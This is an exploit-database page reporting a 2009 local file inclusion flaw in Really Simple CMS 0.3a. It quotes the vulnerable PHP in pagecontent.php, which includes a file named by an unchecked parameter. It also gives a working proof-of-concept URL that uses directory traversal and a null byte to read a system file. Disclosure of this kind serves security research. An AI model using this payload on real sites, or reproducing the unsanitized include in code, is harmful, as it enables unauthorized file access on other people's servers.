[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Really Simple CMS 0.3a (pagecontent.php PT) Local File Inclusion Vuln

Author
SirGod
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5582
Category
web applications
Date add
29-07-2009
Platform
unsorted
==============================================================================
Really Simple CMS 0.3a (pagecontent.php PT) Local File Inclusion Vulnerability
==============================================================================

###########################################################################################
[+] Really Simple CMS 0.3a (pagecontent.php PT) Local File Inclusion Vulnerability
[+] Discovered By SirGod
############################################################################################

[+] Download : http://sourceforge.net/projects/rscms/

[+] Local File Inclusion

 - Vulnerable code in plugings/pagecontent.php

-----------------------------------
if (!$PT) {
	$PT = 'text';
}
$PTF = "plugings/";
$PTF .= $PT;
$PTF .= ".php";


require_once($PTF);
-----------------------------------

 - PoC

    http://127.0.0.1/[path]/plugings/pagecontent.php?PT=../../../../../../../boot.ini%00

############################################################################################




#  0day.today [2024-11-15]  #